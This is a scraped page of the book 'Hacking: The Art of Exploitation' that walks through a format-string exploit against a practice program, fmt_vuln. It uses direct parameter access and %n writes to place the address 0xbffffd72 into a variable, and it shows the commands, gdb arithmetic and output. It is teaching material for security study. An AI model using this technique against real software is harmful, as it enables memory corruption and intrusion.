26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Direct parameter access also simplifies <strong>the</strong> writing <strong>of</strong> memory addresses.<br />

Since memory can be accessed directly, <strong>the</strong>re’s no need for four-byte spacers<br />

<strong>of</strong> junk data to increment <strong>the</strong> byte output count. Each <strong>of</strong> <strong>the</strong> %x format parameters<br />

that usually performs this function can just directly access a piece <strong>of</strong><br />

memory found before <strong>the</strong> format string. For practice, let’s use direct parameter<br />

access to write a more realistic-looking address <strong>of</strong> 0xbffffd72 into <strong>the</strong><br />

variable test_vals.<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08"<br />

. "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%4\$n<br />

The right way to print user-controlled input:<br />

????????%4$n<br />

The wrong way to print user-controlled input:<br />

????????<br />

[*] test_val @ 0x08049794 = 16 0x00000010<br />

reader@<strong>hacking</strong>:~/booksrc $ gdb -q<br />

(gdb) p 0x72 - 16<br />

$1 = 98<br />

(gdb) p 0xfd - 0x72<br />

$2 = 139<br />

(gdb) p 0xff - 0xfd<br />

$3 = 2<br />

(gdb) p 0x1ff - 0xfd<br />

$4 = 258<br />

(gdb) p 0xbf - 0xff<br />

$5 = -64<br />

(gdb) p 0x1bf - 0xff<br />

$6 = 192<br />

(gdb) quit<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08"<br />

. "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n<br />

The right way to print user-controlled input:<br />

????????%98x%4$n%139x%5$n<br />

The wrong way to print user-controlled input:<br />

????????<br />

bffff3c0<br />

b7fe75fc<br />

[*] test_val @ 0x08049794 = 64882 0x0000fd72<br />

reader@<strong>hacking</strong>:~/booksrc $ ./fmt_vuln $(perl -e 'print "\x94\x97\x04\x08" . "\x95\x97\x04\x08"<br />

. "\x96\x97\x04\x08" . "\x97\x97\x04\x08"')%98x%4\$n%139x%5\$n%258x%6\$n%192x%7\$n<br />

The right way to print user-controlled input:<br />

????????%98x%4$n%139x%5$n%258x%6$n%192x%7$n<br />

The wrong way to print user-controlled input:<br />

????????<br />

bffff3b0<br />

b7fe75fc<br />

0<br />

8049794<br />

[*] test_val @ 0x08049794 = -1073742478 0xbffffd72<br />

reader@<strong>hacking</strong>:~/booksrc $<br />

Exploitation 181

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!